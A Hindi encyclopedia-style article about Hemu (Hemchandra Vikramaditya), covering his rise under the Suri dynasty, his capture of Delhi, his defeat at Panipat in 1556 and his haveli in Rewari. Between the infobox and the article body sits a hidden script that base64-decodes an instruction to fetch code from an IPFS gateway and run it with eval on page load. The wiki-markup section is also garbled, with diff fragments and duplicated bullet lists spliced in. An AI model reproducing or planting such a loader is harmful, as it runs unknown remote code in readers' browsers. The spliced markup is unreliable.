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'''हेमू / हेम चन्द्र विक्रमादित्य'''<br />
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'''हेमचन्द्र विक्रमादित्य''' (संक्षिप्त नाम- 'हेमू') [[भारत]] का अंतिम [[हिन्दू]] राजा था। '[[भारतीय इतिहास]] के वीर पुरुषों में वह गिना जाता है। "मध्यकालीन भारत का नेपोलियन" कहा जाने वाला हेमू अपनी असाधारण प्रतिभा के बल पर एक साधारण व्यापारी से प्रधानमंत्री एवं सेनाध्यक्ष की पदवी तक पहुँचा था। यह ऐतिहासिक सफर उसने एक अजेय महानायक के रूप में पूरा किया था। उसके अपार पराक्रम तथा वीरता के कारण ही उसे 'विक्रमादित्य' की उपाधि मिली थी। हेमू [[शेरशाह सूरी]] का योग्य [[दीवान]], कोषाध्यक्ष और सेनानायक था। शेरशाह की सफलता में उसकी प्रबंध कुशलता और वीरता का सबसे बड़ा हाथ रहा था। आर्थिक सूझ−बूझ में उसके समान कोई दूसरा व्यक्ति नहीं था। हेमू ने अपना अंतिम युद्ध प्रसिद्ध [[पानीपत]] के मैदान में लड़ा। यह युद्ध वह [[मुग़ल]] सेनापति [[बैरम ख़ाँ]] की कूटनीतिक चाल से हार गया। [[आँख]] में एक तीर लग जाने से हेमू की सेना बिखर गई और उसे हार का सामना करना पड़ा।
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==जन्म तथा परिचय==
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हेमू का जन्म एक [[ब्राह्मण]] परिवार में 1501 ई. में [[अलवर]], [[राजस्थान]] में हुआ था। उसके पिता का नाम राय पूरनमल था, जो उस वक़्त [[पुरोहित]] थे। बाद के समय में [[मुग़ल|मुग़लों]] द्वारा पुरोहितों को परेशान करने की वजह से राय पूरनमल [[रेवाड़ी ज़िला|रेवाड़ी]], [[हरियाणा]] में आकर [[नमक]] का व्यवसाय करने लगे। अपनी छोटी आयु से ही हेमू [[शेरशाह सूरी]] के लश्कर को अनाज एवं पोटेशियम नाइट्रेट<ref>गन पावडर हेतु</ref> उपलब्ध करने के व्यवसाय में पिता का हाथ बंटाने लगे थे।सन्1540 ई. में शेरशाह सूरी ने [[हुमायूँ|बादशाह हुमायूँ]] को हरा कर [[क़ाबुल]] लौट जाने को विवश कर दिया था। हेमू ने उसी वक़्त रेवाड़ी में [[धातु]] से विभिन्न तरह के हथियार बनाने के काम की नीव रख दी थी, जो आज भी रेवाड़ी में [[पीतल]], [[ताँबा]], [[इस्पात]] के बर्तन के आदि बनाने के काम के रूप में जारी है।<ref name="aa">{{cite web |url=http://anuraggeete.blogspot.in/2010/06/blog-post.html|title=हेमू को जानते हैं आप|accessmonthday=10 जून|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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==उच्च पद व लोकप्रियता==
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[[शेरशाह सूरी]] की वर्ष 1545 में मृत्यु हो जाने के बाद [[इस्लामशाह सूर]] ने उसकी गद्दी संभाली। इस्लामशाह ने हेमू की प्रशासनिक क्षमता को पहचान लिया और उसे व्यापार एवं वित्त संबधी कार्यों के लिए अपना निजी सलाहकार नियुक्त कर लिया। हेमू ने भी अपनी योग्यता को सिद्ध किया और इस्लामशाह सूर का विश्वासपात्र बन गया। इस्लामशाह हेमू से हर मसले पर राय लेता था। हेमू के काम से प्रसन्न होकर उसने हेमू को "दरोगा-ए-चौकी" बना दिया और उच्च पद प्रदान किया। बाद में इस्लामशाह की मृत्यु के बाद उसके बारह वर्ष के अल्प वयस्क पुत्र फ़िरोजशाह को उसी के चाचा के पुत्र आदिलशाह सूरी ने मार दिया और राजगद्दी पर क़ब्ज़ा कर लिया। आदिलशाह ने हेमू को अपना वजीर नियुक्त किया। आदिलशाह अय्याश और शराबी व्यक्ति था। उसे शासन की बिल्कुल भी परवाह नहीं थी। इस समय सम्पूर्ण [[अफ़ग़ान]] शासन प्रबन्ध हेमू के ही हाथ में आ गया था। सेना के भीतर से भी हेमू का विरोध हुआ, किंतु उसने अपने सारे विरोधियों को पराजित कर शांत कर दिया। उस समय तक हेमू की सेना के अफ़ग़ान सैनिक, जिनमे से अधिकतर का जन्म [[भारत]] में ही हुआ था, अपने आप को भारत का रहवासी मानने लग गए थे और वे [[मुग़ल]] शासकों को विदेशी मानते थे। इसी वजह से हेमू [[हिन्दू]] एवं अफ़ग़ान दोनों में काफ़ी लोकप्रिय हो गया था।
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==दिल्ली पर अधिकार==
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[[हुमायूँ]], जो कि पहले 1540 ई. में [[शेरशाह सूरी]] द्वारा हरा कर खदेड़ दिया गया था, उसने दुबारा हमला करके शेरशाह सूरी के भाई को युद्ध में परास्त किया और [[दिल्ली]] पर अधिकार कर लिया। इस समय [[अफ़ग़ान]] सरदार आपस में ही संघर्ष कर रहे थे, और हेमू [[बंगाल (आज़ादी से पूर्व)|बंगाल]] में अव्यवस्था को दूर करने में व्यस्त था। लेकिन इसी समय सात महीने के बाद हुमायूँ की मृत्यु हो गई। अब हेमू ने दिल्ली की तरफ़ रुख किया और रास्ते में बंगाल, [[बिहार]], [[उत्तर प्रदेश]] एवं [[मध्य प्रदेश]] की कई रियासतों को फ़तेह किया। [[आगरा]] में [[मुग़ल]] सेनानायक  इस्कंदर ख़ान उज़्बेग को जब पता चला की हेमू उनकी तरफ़ आ रहा है तो वह बिना युद्ध किये ही मैदान छोड़ कर भाग गया। [[7 अक्टूबर]], 1556 ई. में हेमू ने तरदी बेग ख़ान (मुग़ल) को हरा कर [[दिल्ली]] पर विजय हासिल की। यहीं हेमू का राज्याभिषेक हुआ और उसे '''विक्रमादित्य''' की उपाधि से नवाजा गया। लगभग तीन शताब्दियों के [[मुस्लिम]] शासन के बाद पहली बार कोई [[हिन्दू]] दिल्ली का राजा बना। भले ही हेमू का जन्म [[ब्राह्मण]] समाज में हुआ और उसका पालन-पोषण भी पूरे धार्मिक तरीके से हुआ था, किंतु वह सभी धर्मों को समान मानता था। इसीलिए उसकी सेना के अफ़ग़ान अधिकारी उसकी पूरी इज्ज़त करते थे और इसलिए भी क्योकि वह एक कुशल सेनानायक साबित हो चूका था।<ref name="aa"/>
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====मुग़लों से युद्ध====
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[[पानीपत]] के युद्ध से पहले [[अकबर]] के कई सेनापति उसे हेमू से युद्ध करने के लिए मना कर चुके थे, हालाँकि [[बैरम ख़ाँ]], जो अकबर का संरक्षक भी था, उसने अकबर को दिल्ली पर नियंत्रण के लिए हेमू से युद्ध करने के लिए प्रेरित किया। जब हेमू का मुग़लों से युद्ध हुआ तो पश्चिम से बैरम ख़ाँ के नेतृत्व में अकबर ने उसे रोका। [[5 नवम्बर]], 1556 ई. में पानीपत के मैदान में हेमू और मुग़ल सेना में युद्ध हुआ। पानीपत के प्रसिद्ध मैदान में हेमू की विशाल सेना के सामने [[मुग़ल]] सेना तुच्छ थी। स्वयं हेमू 'हवाई' नामक एक विशाल [[हाथी]] पर सवार होकर सैन्य संचालन कर रहा था। मुग़ल सेना में दहशत थी। बैरम ख़ाँ ने अकबर को सुरक्षित स्थान पर छोड़ा और वह स्वयं सेना लेकर आगे बढ़ा।
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==पराजय==
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युद्ध के मैदान में हेमू ने अपने 1500 हाथियों को मध्य भाग में बढ़ाया। इससे मुग़ल सेना में गड़बड़ी फैल गई और ऐसा जान पड़ा कि हेमू की सेना मुग़लों को रौंद देगी। एक समय ऐसे लगने लगा कि हेमू की विजय निश्चित है, किंतु इसी समय बैरम ख़ाँ की कूटनीति चल गई और उसने युद्ध का पासा पलट दिया। बैरम ख़ाँ ने अपने कुछ चुने हुए सैनिकों को हेमू की [[आँख]] को निशाना बनाने का आदेश दिया। सैनिकों ने यही किया और हेमू की एक आँख में तीर लगा और वह हाथी से नीचे गिर गया। सेना में भगदड़ मच गई। हेमू का महावत उसके हाथी 'हवाई' को भगाकर ले जा रहा था, किंतु मुग़ल सैनिकों ने उसे पकड़ लिया। हेमू को गिरफ्तार करके [[अकबर]] के सामने लाया गया, तब बैरम ख़ाँ ने अकबर से कहा कि- "हजरत इसे मारकर 'ग़ाज़ी' की उपाधि धारण करें"। लेकिन अकबर इस कार्य के लिए राजी नहीं हुआ, तब बाद में बैरम ख़ाँ ने ही हेमू का सिर धड़ से अलग कर दिया।<ref name="aa"/>
  
*हेमू के पिता राय पूरनमल [[राजस्थान]] के अलवर ज़िले से आकर रेवाड़ी के कुतुबपुर में बस गए थे। हेमू तब छोटे ही थे। बड़े होने पर वे भी पिता के व्यवसाय में जुट गए। वे [[शेरशाह|शेरशाह सूरी]] की सेना को शोरा सप्लाई करते थे।
+
==हेमू की हवेली==
*शेरशाह उनके व्यक्तित्व से काफ़ी प्रभावित था।
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[[भारत]] के अंतिम [[हिन्दू]] सम्राट और पानीपत की दूसरी लड़ाई के नायक हेमचन्द्र विक्रमादित्य की 600 वर्ष पुरानी हवेली वर्तमान में जर्जर हाल में है। [[रेवाड़ी ज़िला|रेवाड़ी]] के कुतुबपुर मुहल्ले में स्थित इस हवेली की हालत दयनीय है। [[इतिहास]] की यह धरोहर समाप्त होने के कगार पर है। हेमू को "मध्य काल का नैपोलियन" कहा जाता है। उसके गौरवपूर्ण पहलू की तमाम स्मृतियाँ इस हवेली से जुड़ी हैं। ढाई मंजिली हवेली प्राचीन कलात्मक कारीगीरी की जीती-जागती मिसाल है। कलात्मक मुख्यद्वार, नक़्क़ाशी से सजी दीवारें तथा दुर्लभ पत्थरों पर आकर्षक कारीगीरी अनायास ही प्रभावित करती है। अन्दर प्रवेश करते ही वर्गाकार चौक स्वागत करता है। चारों ओर कलात्मक नक़्क़ाशी मन मोह लेती है। बरामदे व कक्ष की विशालता से कभी रही इसकी भव्यता का अंदाजा सहज की लगाया जा सकता है। प्रथम तल पर कुल मिलाकर छोटे-बड़े एक दर्जन कक्ष एवं चार दलान हैं। एक कक्षनुमा रसोई प्रतीत होती है। इसमें दो-तीन तहखाने भी हैं, जिन्हें अब सफाई के बाद दरवाज़े लगाकर बंद कर दिया गया है। दिलचस्प पहलू यह है कि प्रथम तल पर कहीं कोई खिड़की नजर नहीं आती, जबकि पहले इसके आगे व पीछे आंगन भी होते थे। ऐसा संभवत: सुरक्षा पक्ष को लेकर किया गया होगा। इस तीस फुटी हवेली का प्रथम तल लगभग नौ सौ से एक हज़ार वर्ष पुराना बताया जाता है।
*उसने हेमू को अपनी सेना में उच्च पद दे दिया।
 
*इसके बाद हेमू ने 22 युद्ध जीते और [[दिल्ली]] सल्तनत का सम्राट बना।
 
*युद्ध में हेमू को बैरम खां की रणनीति पर छल से मारा गया।
 
*हेमचंद्र शेरशाह का योग्य दीवान, कोषाध्यक्ष और सेनानायक था। शेरशाह की सफलता में उसकी प्रबंध कुशलता और वीरता का हाथ रहा था। आर्थिक सूझ−बूझ में उसके समान कोई दूसरा व्यक्ति नहीं था।
 
*शेरशाह के बाद उसका पुत्र इस्लामशाह अपने शासन का भार हेमचंद्र पर डाल निश्चिंत हो गया था।
 
*इस्लामशाह के बाद आदिलशाह बादशाह हुआ तब राज्य के पठान सरदारों में आपसी संघर्ष होने लगा था।
 
*हेमचंद्र आदिलशाह का वजीर और प्रधान सेनापति था। वह बिहार में अव्यवस्था दूर करने में लगा हुआ था, तभी [[हुमायूँ]] ने दिल्ली पर अधिकार कर लिया; किंतु 7 महीने बाद ही उसकी मृत्यु हो गई थी।
 
*[[बैरम ख़ाँ]] की सहायता से [[अकबर]] ने शेरशाह के वंशजों को नियंत्रित करने का बीड़ा उठाया। उसके हाथ से दिल्ली और [[आगरा]] भी निकल गए। बैरम ख़ाँ पंजाब में उलझा हुआ था कि अफग़ानों की एक शाखा का मन्त्री हेमू (हेमचंद्र) ने हमला कर दिया।
 
*हेमू राजवंशी न था लेकिन वह इतना प्रबल हो गया था कि उसने 'विक्रमादित्य' की उपाधि धारण की थी। हेमू ने शीघ्र ही [[ग्वालियर]] - [[आगरा]] पर अधिकार कर लिया।  मुग़ल सेनापति उसे रोकने में असमर्थ रहे। शीघ्र ही उसका दिल्ली पर अधिकार हो गया। पश्चिम से बैरम ख़ाँ के नेतृत्व में अकबर ने उसे रोका।
 
*पानीपत के प्रसिद्ध मैदान में हेमू की विशाल सेना के सामने मुग़ल सेना तुच्छ थी। स्वयं हेमू 'हवाई' नामक एक विशाल हाथी पर सवार हो सैन्य संचालन कर रहा था।
 
*मुग़ल सेना में दहशत थी। बैरम ख़ाँ ने अकबर को सुरक्षित स्थान पर छोड़ा और वह स्वयं सेना लेकर आगे बढ़ा। हेमू ने अपने 1500 हाथियों को मध्य भाग में बढ़ाया। इससे मुग़ल सेना में गड़बड़ी फैल गई और ऐसा जान पड़ा कि हेमू की सेना मुग़लों को रौंद देगी, पर हेमू की एक आँख में तीर लगा जो उसके सिर को छेदकर दूसरी ओर निकल गया। हेमू के दल में भगदड़ मच गई। हेमू का महावत 'हवाई '(हाथी) को भगाकर ले जा रहा था, पर हेमू पकड़ा गया। वह अकबर के सामने लाया गया तो बैरम ख़ाँ ने अकबर से कहा कि हजरत इसे मारकर 'गाजी' की उपाधि धारण करें, पर अकबर राज़ी नहीं हुआ, हेमू को और लोगों ने मार डाला।
 
  
==हिन्दू राज्य का विफल प्रयास==
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इस ऐतिहासिक हवेली का द्वितीय तल ख़ास प्रकार की ईंटों से बना है, जिन्हें 'लखौरी' ईंटें कहा जाता है। पाँच इंच लंबी, साढ़े तीन इंच चौड़ी तथा डेढ़ इंच मोटी ईंटों की कलात्मक चिनाई में [[पुर्तग़ाली]] शैली के प्रमाण मौजूद हैं। यह जीर्णोद्धार कार्य 1540 ई. का है। इस तल पर बने दो वर्गाकार सभागार ध्यान खींचते हैं, जिनमें से एक की छत गिर चुकी है तथा दूसरा हॉल आज भी ठीक स्थिति में है। सबसे ऊपर का तल खुला हुआ है, किंतु इसकी चार दीवारी सात-आठ फुट सुरक्षा कवच प्रतीत होती है। सोलहवीं शताब्दी के महानतम [[हिन्दू]] योद्धा कहे जाने वाले हेमू के [[पिता]] राय पूरनमलसन्1516 ई. में [[राजस्थान]] के [[अलवर]] से रेवाड़ी आकर कुतुबपुर मोहल्ले में रहने लगे थे।<ref>{{cite web |url=http://dainiktribuneonline.com/2011/11/%E0%A4%B9%E0%A5%87%E0%A4%AE%E0%A5%82-%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A5%8D%E0%A4%B0%E0%A4%AE%E0%A4%BE%E0%A4%A6%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF-%E0%A4%95%E0%A5%80-%E0%A4%B9%E0%A4%B5%E0%A5%87/|title=हेमू विक्रमादित्य की हवेली|accessmonthday=10 जून|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
*हेमचंद्र पठानों के राज्य को व्यवस्थित कर रहा था; किंतु वह शेरशाह के वंशजों और पठान सरदारों की फूट से परेशान हो गया। उसने मुग़लों को हराकर दिल्ली पर स्वतंत्र हिन्दू राज्य की स्थापना करने का निश्चय किया।
 
*वह सन 1555 में 'विक्रमादित्य' की पदवी धारण कर दिल्ली के राजसिंहासन पर बैठ गया।
 
*राय पिथौरा (पृथ्वीराज) और [[जयचंद्र]] जैसे हिन्दू राजाओं की परंपरा को वह आगे बढ़ाना चाहता था। उसका उद्देश्य मुग़ल शक्ति को समाप्त किये बिना संभव नहीं था। उसने मुग़ल सरदारों से युद्ध किये और उन्हें दिल्ली से खदेड़ पर पंजाब की ओर भगा दिया। मुग़ल सरदार जाने को तैयार नहीं थे। वे एक बार फिर बड़ा युद्ध कर अंतिम निर्णय करना चाहते थे। मुग़ल सेना ने खानजमाँ अलीकुलीखां और बैरमख़ाँ के नेतृत्व में पानीपत में युद्ध करने का निश्चय किया। हेमचंद्र भी सेना सहित लड़ने पहुँच गया। दोनों सेनाओं में भीषण युद्ध हुआ। हेमचंद्र हाथी पर बैठा सेना का संचालन कर रहा था। उसी समय एक तीर उसकी आँख में लगा। वह उस अवस्था में भी युद्ध करता रहा; बहुत ख़ून बह जाने से वह बेहोश होकर हाथी के हौदे में गिर गया। हेमचंद्र के गिरते ही सेना तितर-बितर होने लगी। मुग़लों ने ज़ोर का हमला कर शत्रु सेना को पराजित कर दिया। बेहोश हेमचंद्र को मुग़लों ने बंदी बना लिया।
 
*उसे मुग़लों के मनोनीत बालक बादशाह [[अकबर]] के समक्ष उपस्थित किया गया। मुग़ल सरदार बैरमख़ाँ ने अकबर से कहा कि वह उसे अपने हाथ से मार दे। अकबर ने उस पर वार नहीं किया। बैरमखां ने उसका अंत कर दिया।
 
*इस समय अकबर 13-14 वर्ष का बालक था, उस समय तक उसमें इतनी समझ नहीं थी कि हेमचंद्र को अपने पक्ष में करने की कोशिश करता।
 
*हेमचंद्र की पराजय 6 नवंबर सन 1556 में पानीपत के मैदान में हुई थी। उसी दिन स्वतंत्र हिन्दू राज्य का सपना टूट बालक अकबर के नेतृत्व में मुग़लों का शासन जम गया।
 
  
[[Category:इतिहास कोश]]
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{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
[[Category:मुग़ल साम्राज्य]]
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==टीका टिप्पणी और संदर्भ==
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==संबंधित लेख==
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09:47, 11 फ़रवरी 2021 के समय का अवतरण

हेमू
हेमचन्द्र विक्रमादित्य
पूरा नाम हेमचन्द्र विक्रमादित्य
अन्य नाम हेमू
जन्म 1501 ई.
जन्म भूमि अलवर, राजस्थान
पिता/माता राय पूरनमल
उपाधि विक्रमादित्य
शासन दिल्ली
राज्याभिषेक 7 अक्टूबर, 1556 ई.
युद्ध पानीपत का द्वितीय युद्ध
संबंधित लेख शेरशाह सूरी, हुमायूँ, अकबर, बैरम ख़ाँ
विशेष लगभग तीन शताब्दियों तक दिल्ली पर मुस्लिम शासन के बाद हेमू ही वह हिन्दू था, जिसने दिल्ली पर अधिकार किया।
अन्य जानकारी हेमू शेरशाह सूरी का योग्य दीवान, कोषाध्यक्ष और सेनानायक था। शेरशाह की सफलता में उसकी प्रबंध कुशलता और वीरता का सबसे बड़ा हाथ रहा था। आर्थिक सूझ−बूझ में उसके समान कोई दूसरा व्यक्ति नहीं था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हेमचन्द्र विक्रमादित्य (संक्षिप्त नाम- 'हेमू') भारत का अंतिम हिन्दू राजा था। 'भारतीय इतिहास के वीर पुरुषों में वह गिना जाता है। "मध्यकालीन भारत का नेपोलियन" कहा जाने वाला हेमू अपनी असाधारण प्रतिभा के बल पर एक साधारण व्यापारी से प्रधानमंत्री एवं सेनाध्यक्ष की पदवी तक पहुँचा था। यह ऐतिहासिक सफर उसने एक अजेय महानायक के रूप में पूरा किया था। उसके अपार पराक्रम तथा वीरता के कारण ही उसे 'विक्रमादित्य' की उपाधि मिली थी। हेमू शेरशाह सूरी का योग्य दीवान, कोषाध्यक्ष और सेनानायक था। शेरशाह की सफलता में उसकी प्रबंध कुशलता और वीरता का सबसे बड़ा हाथ रहा था। आर्थिक सूझ−बूझ में उसके समान कोई दूसरा व्यक्ति नहीं था। हेमू ने अपना अंतिम युद्ध प्रसिद्ध पानीपत के मैदान में लड़ा। यह युद्ध वह मुग़ल सेनापति बैरम ख़ाँ की कूटनीतिक चाल से हार गया। आँख में एक तीर लग जाने से हेमू की सेना बिखर गई और उसे हार का सामना करना पड़ा।

जन्म तथा परिचय

हेमू का जन्म एक ब्राह्मण परिवार में 1501 ई. में अलवर, राजस्थान में हुआ था। उसके पिता का नाम राय पूरनमल था, जो उस वक़्त पुरोहित थे। बाद के समय में मुग़लों द्वारा पुरोहितों को परेशान करने की वजह से राय पूरनमल रेवाड़ी, हरियाणा में आकर नमक का व्यवसाय करने लगे। अपनी छोटी आयु से ही हेमू शेरशाह सूरी के लश्कर को अनाज एवं पोटेशियम नाइट्रेट[1] उपलब्ध करने के व्यवसाय में पिता का हाथ बंटाने लगे थे।सन्1540 ई. में शेरशाह सूरी ने बादशाह हुमायूँ को हरा कर क़ाबुल लौट जाने को विवश कर दिया था। हेमू ने उसी वक़्त रेवाड़ी में धातु से विभिन्न तरह के हथियार बनाने के काम की नीव रख दी थी, जो आज भी रेवाड़ी में पीतल, ताँबा, इस्पात के बर्तन के आदि बनाने के काम के रूप में जारी है।[2]

उच्च पद व लोकप्रियता

शेरशाह सूरी की वर्ष 1545 में मृत्यु हो जाने के बाद इस्लामशाह सूर ने उसकी गद्दी संभाली। इस्लामशाह ने हेमू की प्रशासनिक क्षमता को पहचान लिया और उसे व्यापार एवं वित्त संबधी कार्यों के लिए अपना निजी सलाहकार नियुक्त कर लिया। हेमू ने भी अपनी योग्यता को सिद्ध किया और इस्लामशाह सूर का विश्वासपात्र बन गया। इस्लामशाह हेमू से हर मसले पर राय लेता था। हेमू के काम से प्रसन्न होकर उसने हेमू को "दरोगा-ए-चौकी" बना दिया और उच्च पद प्रदान किया। बाद में इस्लामशाह की मृत्यु के बाद उसके बारह वर्ष के अल्प वयस्क पुत्र फ़िरोजशाह को उसी के चाचा के पुत्र आदिलशाह सूरी ने मार दिया और राजगद्दी पर क़ब्ज़ा कर लिया। आदिलशाह ने हेमू को अपना वजीर नियुक्त किया। आदिलशाह अय्याश और शराबी व्यक्ति था। उसे शासन की बिल्कुल भी परवाह नहीं थी। इस समय सम्पूर्ण अफ़ग़ान शासन प्रबन्ध हेमू के ही हाथ में आ गया था। सेना के भीतर से भी हेमू का विरोध हुआ, किंतु उसने अपने सारे विरोधियों को पराजित कर शांत कर दिया। उस समय तक हेमू की सेना के अफ़ग़ान सैनिक, जिनमे से अधिकतर का जन्म भारत में ही हुआ था, अपने आप को भारत का रहवासी मानने लग गए थे और वे मुग़ल शासकों को विदेशी मानते थे। इसी वजह से हेमू हिन्दू एवं अफ़ग़ान दोनों में काफ़ी लोकप्रिय हो गया था।

दिल्ली पर अधिकार

हुमायूँ, जो कि पहले 1540 ई. में शेरशाह सूरी द्वारा हरा कर खदेड़ दिया गया था, उसने दुबारा हमला करके शेरशाह सूरी के भाई को युद्ध में परास्त किया और दिल्ली पर अधिकार कर लिया। इस समय अफ़ग़ान सरदार आपस में ही संघर्ष कर रहे थे, और हेमू बंगाल में अव्यवस्था को दूर करने में व्यस्त था। लेकिन इसी समय सात महीने के बाद हुमायूँ की मृत्यु हो गई। अब हेमू ने दिल्ली की तरफ़ रुख किया और रास्ते में बंगाल, बिहार, उत्तर प्रदेश एवं मध्य प्रदेश की कई रियासतों को फ़तेह किया। आगरा में मुग़ल सेनानायक इस्कंदर ख़ान उज़्बेग को जब पता चला की हेमू उनकी तरफ़ आ रहा है तो वह बिना युद्ध किये ही मैदान छोड़ कर भाग गया। 7 अक्टूबर, 1556 ई. में हेमू ने तरदी बेग ख़ान (मुग़ल) को हरा कर दिल्ली पर विजय हासिल की। यहीं हेमू का राज्याभिषेक हुआ और उसे विक्रमादित्य की उपाधि से नवाजा गया। लगभग तीन शताब्दियों के मुस्लिम शासन के बाद पहली बार कोई हिन्दू दिल्ली का राजा बना। भले ही हेमू का जन्म ब्राह्मण समाज में हुआ और उसका पालन-पोषण भी पूरे धार्मिक तरीके से हुआ था, किंतु वह सभी धर्मों को समान मानता था। इसीलिए उसकी सेना के अफ़ग़ान अधिकारी उसकी पूरी इज्ज़त करते थे और इसलिए भी क्योकि वह एक कुशल सेनानायक साबित हो चूका था।[2]

मुग़लों से युद्ध

पानीपत के युद्ध से पहले अकबर के कई सेनापति उसे हेमू से युद्ध करने के लिए मना कर चुके थे, हालाँकि बैरम ख़ाँ, जो अकबर का संरक्षक भी था, उसने अकबर को दिल्ली पर नियंत्रण के लिए हेमू से युद्ध करने के लिए प्रेरित किया। जब हेमू का मुग़लों से युद्ध हुआ तो पश्चिम से बैरम ख़ाँ के नेतृत्व में अकबर ने उसे रोका। 5 नवम्बर, 1556 ई. में पानीपत के मैदान में हेमू और मुग़ल सेना में युद्ध हुआ। पानीपत के प्रसिद्ध मैदान में हेमू की विशाल सेना के सामने मुग़ल सेना तुच्छ थी। स्वयं हेमू 'हवाई' नामक एक विशाल हाथी पर सवार होकर सैन्य संचालन कर रहा था। मुग़ल सेना में दहशत थी। बैरम ख़ाँ ने अकबर को सुरक्षित स्थान पर छोड़ा और वह स्वयं सेना लेकर आगे बढ़ा।

पराजय

युद्ध के मैदान में हेमू ने अपने 1500 हाथियों को मध्य भाग में बढ़ाया। इससे मुग़ल सेना में गड़बड़ी फैल गई और ऐसा जान पड़ा कि हेमू की सेना मुग़लों को रौंद देगी। एक समय ऐसे लगने लगा कि हेमू की विजय निश्चित है, किंतु इसी समय बैरम ख़ाँ की कूटनीति चल गई और उसने युद्ध का पासा पलट दिया। बैरम ख़ाँ ने अपने कुछ चुने हुए सैनिकों को हेमू की आँख को निशाना बनाने का आदेश दिया। सैनिकों ने यही किया और हेमू की एक आँख में तीर लगा और वह हाथी से नीचे गिर गया। सेना में भगदड़ मच गई। हेमू का महावत उसके हाथी 'हवाई' को भगाकर ले जा रहा था, किंतु मुग़ल सैनिकों ने उसे पकड़ लिया। हेमू को गिरफ्तार करके अकबर के सामने लाया गया, तब बैरम ख़ाँ ने अकबर से कहा कि- "हजरत इसे मारकर 'ग़ाज़ी' की उपाधि धारण करें"। लेकिन अकबर इस कार्य के लिए राजी नहीं हुआ, तब बाद में बैरम ख़ाँ ने ही हेमू का सिर धड़ से अलग कर दिया।[2]

हेमू की हवेली

भारत के अंतिम हिन्दू सम्राट और पानीपत की दूसरी लड़ाई के नायक हेमचन्द्र विक्रमादित्य की 600 वर्ष पुरानी हवेली वर्तमान में जर्जर हाल में है। रेवाड़ी के कुतुबपुर मुहल्ले में स्थित इस हवेली की हालत दयनीय है। इतिहास की यह धरोहर समाप्त होने के कगार पर है। हेमू को "मध्य काल का नैपोलियन" कहा जाता है। उसके गौरवपूर्ण पहलू की तमाम स्मृतियाँ इस हवेली से जुड़ी हैं। ढाई मंजिली हवेली प्राचीन कलात्मक कारीगीरी की जीती-जागती मिसाल है। कलात्मक मुख्यद्वार, नक़्क़ाशी से सजी दीवारें तथा दुर्लभ पत्थरों पर आकर्षक कारीगीरी अनायास ही प्रभावित करती है। अन्दर प्रवेश करते ही वर्गाकार चौक स्वागत करता है। चारों ओर कलात्मक नक़्क़ाशी मन मोह लेती है। बरामदे व कक्ष की विशालता से कभी रही इसकी भव्यता का अंदाजा सहज की लगाया जा सकता है। प्रथम तल पर कुल मिलाकर छोटे-बड़े एक दर्जन कक्ष एवं चार दलान हैं। एक कक्षनुमा रसोई प्रतीत होती है। इसमें दो-तीन तहखाने भी हैं, जिन्हें अब सफाई के बाद दरवाज़े लगाकर बंद कर दिया गया है। दिलचस्प पहलू यह है कि प्रथम तल पर कहीं कोई खिड़की नजर नहीं आती, जबकि पहले इसके आगे व पीछे आंगन भी होते थे। ऐसा संभवत: सुरक्षा पक्ष को लेकर किया गया होगा। इस तीस फुटी हवेली का प्रथम तल लगभग नौ सौ से एक हज़ार वर्ष पुराना बताया जाता है।

इस ऐतिहासिक हवेली का द्वितीय तल ख़ास प्रकार की ईंटों से बना है, जिन्हें 'लखौरी' ईंटें कहा जाता है। पाँच इंच लंबी, साढ़े तीन इंच चौड़ी तथा डेढ़ इंच मोटी ईंटों की कलात्मक चिनाई में पुर्तग़ाली शैली के प्रमाण मौजूद हैं। यह जीर्णोद्धार कार्य 1540 ई. का है। इस तल पर बने दो वर्गाकार सभागार ध्यान खींचते हैं, जिनमें से एक की छत गिर चुकी है तथा दूसरा हॉल आज भी ठीक स्थिति में है। सबसे ऊपर का तल खुला हुआ है, किंतु इसकी चार दीवारी सात-आठ फुट सुरक्षा कवच प्रतीत होती है। सोलहवीं शताब्दी के महानतम हिन्दू योद्धा कहे जाने वाले हेमू के पिता राय पूरनमलसन्1516 ई. में राजस्थान के अलवर से रेवाड़ी आकर कुतुबपुर मोहल्ले में रहने लगे थे।[3]


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टीका टिप्पणी और संदर्भ

  1. गन पावडर हेतु
  2. 2.0 2.1 2.2 हेमू को जानते हैं आप (हिन्दी)। । अभिगमन तिथि: 10 जून, 2013।
  3. हेमू विक्रमादित्य की हवेली (हिन्दी)। । अभिगमन तिथि: 10 जून, 2013।

बाहरी कड़ियाँ

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